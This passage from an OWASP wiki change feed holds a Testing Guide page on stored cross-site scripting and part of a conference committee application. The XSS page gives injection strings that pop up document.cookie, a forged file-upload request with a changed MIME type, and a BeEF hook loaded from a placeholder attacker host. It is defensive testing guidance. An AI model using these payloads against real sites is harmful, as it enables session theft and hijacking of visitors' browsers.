&amp;lt;blockquote style=&amp;quot;background: white; border: 1px solid rgb(153, 153, 153); padding: 1em;&amp;quot;&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin: 1em auto 1em auto&amp;quot;&lt;br /&gt;
| '''PHP''' || '''ASP''' || '''JSP'''&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
* $_GET - HTTP GET variables&lt;br /&gt;
* $_POST - HTTP POST variables&lt;br /&gt;
* $_REQUEST – http POST, GET and COOKIE variables&lt;br /&gt;
* $_FILES - HTTP File Upload variables&lt;br /&gt;
|| &lt;br /&gt;
* Request.QueryString - HTTP GET&lt;br /&gt;
* Request.Form - HTTP POST&lt;br /&gt;
* Server.CreateObject - used to upload files&lt;br /&gt;
|| &lt;br /&gt;
* doGet, doPost servlets - HTTP GET and POST&lt;br /&gt;
* request.getParameter - HTTP GET/POST variables&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The table above is only a summary of the most important parameters but, all user input parameters should be investigated.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[[XSS Filter Evasion Cheat Sheet]] &lt;br /&gt;
&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applications&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* Amit Klein: &amp;quot;Cross-site Scripting Explained&amp;quot; - http://courses.csail.mit.edu/6.857/2009/handouts/css-explained.pdf&lt;br /&gt;
&lt;br /&gt;
* Gunter Ollmann: &amp;quot;HTML Code Injection and Cross-site Scripting&amp;quot; - http://www.technicalinfo.net/papers/CSS.html&lt;br /&gt;
&lt;br /&gt;
* CGISecurity.com: &amp;quot;The Cross Site Scripting FAQ&amp;quot; - http://www.cgisecurity.com/xss-faq.html&lt;br /&gt;
&lt;br /&gt;
* Blake Frantz: &amp;quot;Flirting with MIME Types: A Browser's Perspective&amp;quot; - http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.&lt;br /&gt;
&lt;br /&gt;
* '''Hackvertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).&lt;br /&gt;
&lt;br /&gt;
* '''BeEF''' - http://www.bindshell.net/tools/beef/&lt;br /&gt;
BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
&lt;br /&gt;
* '''Backframe''' - http://www.gnucitizen.org/projects/backframe/&lt;br /&gt;
Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.&lt;br /&gt;
&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.&lt;br /&gt;
&lt;br /&gt;
* '''Burp''' - http://portswigger.net/burp/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications. &lt;br /&gt;
&lt;br /&gt;
* '''XSS Assistant''' - http://www.greasespot.net/&lt;br /&gt;
Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.&lt;br /&gt;
&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)&amp;diff=142056</id>
		<title>Testing for Stored Cross site scripting (OTG-INPVAL-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)&amp;diff=142056"/>
				<updated>2013-01-09T12:10:07Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated the link to beefproject.com&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Stored [[Cross-site Scripting (XSS)]] is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS.&lt;br /&gt;
&lt;br /&gt;
This vulnerability can be used to conduct a number of browser-based attacks including:&lt;br /&gt;
&lt;br /&gt;
* Hijacking another user's browser&lt;br /&gt;
* Capturing sensitive information viewed by application users&lt;br /&gt;
* Pseudo defacement of the application&lt;br /&gt;
* Port scanning of internal hosts (&amp;quot;internal&amp;quot; in relation to the users of the web application)&lt;br /&gt;
* Directed delivery of browser-based exploits&lt;br /&gt;
* Other malicious activities&lt;br /&gt;
&lt;br /&gt;
Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:&lt;br /&gt;
&lt;br /&gt;
* Attacker stores malicious code into the vulnerable page&lt;br /&gt;
* User authenticates in the application&lt;br /&gt;
* User visits vulnerable page&lt;br /&gt;
* Malicious code is executed by the user's browser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;This type of attack can also be exploited with browser exploitation frameworks such as [http://www.beefproject.com BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. These frameworks allow for complex JavaScript exploit development.&lt;br /&gt;
&lt;br /&gt;
Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
The process for identifying stored XSS vulnerabilities is similar to the process described during the [[Testing for Reflected Cross site scripting (OWASP-DV-001)|testing for reflected XSS]].&lt;br /&gt;
&lt;br /&gt;
'''Input Forms'''&lt;br /&gt;
&lt;br /&gt;
The first step is to identify all points where user input is stored into the back-end and then displayed by the application.  Typical examples of stored user input can be found in:&lt;br /&gt;
&lt;br /&gt;
* User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.&lt;br /&gt;
* Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later&lt;br /&gt;
* File Manager: application that allows upload of files&lt;br /&gt;
* Application settings/preferences: application that allows the user to set preferences&lt;br /&gt;
* Forum/Message board: application that permits exchange of posts among users&lt;br /&gt;
* Blog: if the blog application permits to users submitting comments&lt;br /&gt;
* Log: if the application stores some users input into logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Analyze HTML code'''&lt;br /&gt;
&lt;br /&gt;
Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Email stored data in index2.php&lt;br /&gt;
&lt;br /&gt;
[[Image:Stored_input_example.jpg]]&lt;br /&gt;
&lt;br /&gt;
The HTML code of index2.php where the email value is located:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the pen-tester needs to find a way to inject code outside the &amp;lt;input&amp;gt; tag as below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot;&amp;gt; MALICIOUS CODE &amp;lt;!-- /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Stored XSS'''&lt;br /&gt;
&lt;br /&gt;
This involves testing the input validation/filtering controls of the application. Basic injection examples in this case:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;alert(document.cookie)&amp;amp;lt;/script&amp;amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as [[OWASP WebScarab Project|WebScarab]]. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected''':&lt;br /&gt;
&lt;br /&gt;
[[Image:Stored_xss_example.jpg]]&lt;br /&gt;
&lt;br /&gt;
The HTML code following the injection:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
The input is stored and the XSS payload is executed by the browser when reloading the page.&amp;lt;br&amp;gt;&lt;br /&gt;
If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string &amp;quot;SCRIPT&amp;quot; is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters (see [[Testing for Reflected Cross site scripting (OWASP-DV-001)|testing for reflected XSS]] chapter). It is strongly recommended that testers refer to [[XSS Filter Evasion Cheat Sheet|XSS Filter Evasion]] ,  [http://ha.ckers.org/xss.html RSnake] and [https://h4k.in/encoding/ Mario] XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.&lt;br /&gt;
&lt;br /&gt;
'''Leverage Stored XSS with BeEF'''&lt;br /&gt;
&lt;br /&gt;
Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [http://www.bindshell.net/tools/beef BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. Let’s see what a typical BeEF exploitation scenario involves:&lt;br /&gt;
&lt;br /&gt;
* Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)&lt;br /&gt;
* Waiting for the application user to view the vulnerable page where the stored input is displayed&lt;br /&gt;
* Control the application user’s browser via the BeEF console&lt;br /&gt;
&lt;br /&gt;
The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: BeEF Injection in index2.php:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com”&amp;gt;&amp;lt;script src=http://attackersite/beef/hook/beefmagic.js.php&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected'''&lt;br /&gt;
&lt;br /&gt;
[[Image:BeEF_in_action.jpg]]&lt;br /&gt;
&lt;br /&gt;
This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.&lt;br /&gt;
&lt;br /&gt;
'''File Upload'''&lt;br /&gt;
&lt;br /&gt;
If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.&lt;br /&gt;
&lt;br /&gt;
Consider the following HTTP POST request for file upload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /fileupload.aspx HTTP/1.1&lt;br /&gt;
[…]&lt;br /&gt;
&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadfile1&amp;quot;; filename=&amp;quot;C:\Documents and Settings\test\Desktop\test.txt&amp;quot;&lt;br /&gt;
Content-Type: text/plain&lt;br /&gt;
&lt;br /&gt;
test&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.&lt;br /&gt;
&lt;br /&gt;
HTTP POST Request forged:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadfile1&amp;quot;; filename=&amp;quot;C:\Documents and Settings\test\Desktop\test.gif&amp;quot;&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.&lt;br /&gt;
 &lt;br /&gt;
Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:&lt;br /&gt;
&lt;br /&gt;
* Use front-end application and enter input with special/invalid characters&lt;br /&gt;
* Analyze application response(s)&lt;br /&gt;
* Identify presence of input validation controls&lt;br /&gt;
* Access back-end system and check if input is stored and how it is stored&lt;br /&gt;
* Analyze source code and understand how stored input is rendered by the application&lt;br /&gt;
&lt;br /&gt;
If source code is available (White Box), all variables used in input forms should be analyzed.&lt;br /&gt;
&lt;br /&gt;
In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
The following table summarizes some special variables and functions to look at when analyzing source code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote style=&amp;quot;background: white; border: 1px solid rgb(153, 153, 153); padding: 1em;&amp;quot;&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin: 1em auto 1em auto&amp;quot;&lt;br /&gt;
| '''PHP''' || '''ASP''' || '''JSP'''&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
* $_GET - HTTP GET variables&lt;br /&gt;
* $_POST - HTTP POST variables&lt;br /&gt;
* $_REQUEST – http POST, GET and COOKIE variables&lt;br /&gt;
* $_FILES - HTTP File Upload variables&lt;br /&gt;
|| &lt;br /&gt;
* Request.QueryString - HTTP GET&lt;br /&gt;
* Request.Form - HTTP POST&lt;br /&gt;
* Server.CreateObject - used to upload files&lt;br /&gt;
|| &lt;br /&gt;
* doGet, doPost servlets - HTTP GET and POST&lt;br /&gt;
* request.getParameter - HTTP GET/POST variables&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The table above is only a summary of the most important parameters but, all user input parameters should be investigated.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[[XSS Filter Evasion Cheat Sheet]] &lt;br /&gt;
&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applications&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* Amit Klein: &amp;quot;Cross-site Scripting Explained&amp;quot; - http://courses.csail.mit.edu/6.857/2009/handouts/css-explained.pdf&lt;br /&gt;
&lt;br /&gt;
* Gunter Ollmann: &amp;quot;HTML Code Injection and Cross-site Scripting&amp;quot; - http://www.technicalinfo.net/papers/CSS.html&lt;br /&gt;
&lt;br /&gt;
* CGISecurity.com: &amp;quot;The Cross Site Scripting FAQ&amp;quot; - http://www.cgisecurity.com/xss-faq.html&lt;br /&gt;
&lt;br /&gt;
* Blake Frantz: &amp;quot;Flirting with MIME Types: A Browser's Perspective&amp;quot; - http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.&lt;br /&gt;
&lt;br /&gt;
* '''Hackvertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).&lt;br /&gt;
&lt;br /&gt;
* '''BeEF''' - http://www.bindshell.net/tools/beef/&lt;br /&gt;
BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
&lt;br /&gt;
* '''Backframe''' - http://www.gnucitizen.org/projects/backframe/&lt;br /&gt;
Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.&lt;br /&gt;
&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.&lt;br /&gt;
&lt;br /&gt;
* '''Burp''' - http://portswigger.net/burp/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications. &lt;br /&gt;
&lt;br /&gt;
* '''XSS Assistant''' - http://www.greasespot.net/&lt;br /&gt;
Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.&lt;br /&gt;
&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Global_Conferences_Committee_-_Application_13&amp;diff=128039</id>
		<title>Global Conferences Committee - Application 13</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Global_Conferences_Committee_-_Application_13&amp;diff=128039"/>
				<updated>2012-04-18T12:00:05Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: CF Recommendation for Benny&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[How to Join a Committee|Click here to return to 'How to Join a Committee' page]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''COMMITTEE APPLICATION FORM''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Applicant's Name'''&lt;br /&gt;
 | colspan=&amp;quot;1&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;Benny Ketelslegers.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| '''Current and past OWASP Roles''' &lt;br /&gt;
 | colspan=&amp;quot;1&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|OWASP Japan Chapter leader.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| '''Committee Applying for''' &lt;br /&gt;
 | colspan=&amp;quot;1&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|Global Conferences Committee&lt;br /&gt;
 |}&lt;br /&gt;
----&lt;br /&gt;
Some thoughts and the things I would like to do/achieve in the GCC: &lt;br /&gt;
&lt;br /&gt;
I have been a passive member as part of the Belgian OWASP chapter since 2007 and picked up the role of chapter leader in Japan end of 2011 after encouragement of some other OWASP leaders. I'm a founding member and was co-organizer of the not-for-profit BruCON conference which was well received and today with 400+ attendees has a fairly good and positive reputation in the community. I believe I can leverage this experience and advise other people organizing any OWASP conference and event. I want to especially focus on supporting events in the APAC region as well as within Japan. I want to improve collaboration between the different chapters and organizers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
Please be aware that for an application to be considered by the board, '''you MUST have 5 recommendations'''.  &lt;br /&gt;
An incomplete application will not be considered for vote.&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;8&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''COMMITTEE RECOMMENDATIONS''' &lt;br /&gt;
 |- &lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:white; color:white&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#7B8ABD; color:white&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''Who Recommends/Name''' &lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#7B8ABD; color:white&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''Role in OWASP'''&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#7B8ABD; color:white&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''Recommendation Content''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:3%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''1'''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Kitisak Jirawannakool&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|OWASP Thailand Chapter Leader&lt;br /&gt;
 | style=&amp;quot;width:57%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Benny is very active and his experience is a key success.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:3%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''2'''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Christian Frichot&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|OWASP Perth Australia Chapter Leader&lt;br /&gt;
 | style=&amp;quot;width:57%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Benny is well known within the security industry as providing a solid voice. His eagerness to represent the Asia Pacific region is something that I whole-heartedly support.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:3%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''3'''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:57%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:3%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''4'''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
